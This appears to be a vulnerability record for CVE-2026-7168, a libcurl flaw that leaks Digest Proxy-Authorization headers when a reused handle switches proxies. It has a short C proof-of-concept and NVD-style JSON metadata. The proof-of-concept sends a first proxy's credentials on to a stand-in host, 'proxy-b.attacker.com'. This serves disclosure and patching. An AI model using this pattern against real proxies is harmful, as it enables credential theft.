CVE-2026-7168

#include <stdio.h> #include <curl/curl.h> int main(void) { CURL *curl; CURLcode res; curl_global_init(CURL_GLOBAL_DEFAULT); curl = curl_easy_init(); if(curl) { // Target URL curl_easy_setopt(curl, CURLOPT_URL, "http://example.com/data"); // Step 1: Use Proxy A with Digest Authentication curl_easy_setopt(curl, CURLOPT_PROXY, "http://proxy-a.internal:8080"); curl_easy_setopt(curl, CURLOPT_PROXYUSERPWD, "admin:secret"); curl_easy_setopt(curl, CURLOPT_PROXYAUTH, CURLAUTH_DIGEST); // Perform first request res = curl_easy_perform(curl); if(res != CURLE_OK) fprintf(stderr, "Request failed: %s\n", curl_easy_strerror(res)); // Step 2: Change to Proxy B reusing the same handle // Vulnerability: The Proxy-Authorization header for Proxy A is sent to Proxy B curl_easy_setopt(curl, CURLOPT_PROXY, "http://proxy-b.attacker.com:8080"); // Perform second request res = curl_easy_perform(curl); if(res != CURLE_OK) fprintf(stderr, "Request failed: %s\n", curl_easy_strerror(res)); curl_easy_cleanup(curl); } curl_global_cleanup(); return 0; }

{"cve": {"id": "CVE-2026-7168", "sourceIdentifier": "2499f714-1537-4658-8207-48ae4bb9eae9", "published": "2026-05-13T13:01:57.200", "lastModified": "2026-05-14T14:12:48.457", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Successfully using libcurl to do a transfer over a specific HTTP proxy\n(`proxyA`) with **Digest** authentication and then changing the proxy host to\na second one (`proxyB`) for a second transfer, reusing the same handle, makes\nlibcurl wrongly pass on the `Proxy-Authorization:` header field meant for\n`proxyA`, to `proxyB`."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-294"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:haxx:curl:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.12.0", "versionEndExcluding": "8.20.0", "matchCriteriaId": "29BC733F-6C8A-471C-BAAC-81727A2B0A19"}]}]}], "references": [{"url": "https://curl.se/docs/CVE-2026-7168.html", "source": "2499f714-1537-4658-8207-48ae4bb9eae9", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://curl.se/docs/CVE-2026-7168.json", "source": "2499f714-1537-4658-8207-48ae4bb9eae9", "tags": ["Vendor Advisory"]}, {"url": "https://hackerone.com/reports/3697719", "source": "2499f714-1537-4658-8207-48ae4bb9eae9", "tags": ["Exploit", "Issue Tracking"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/29/14", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Patch"]}, {"url": "https://hackerone.com/reports/3697719", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking"]}]}}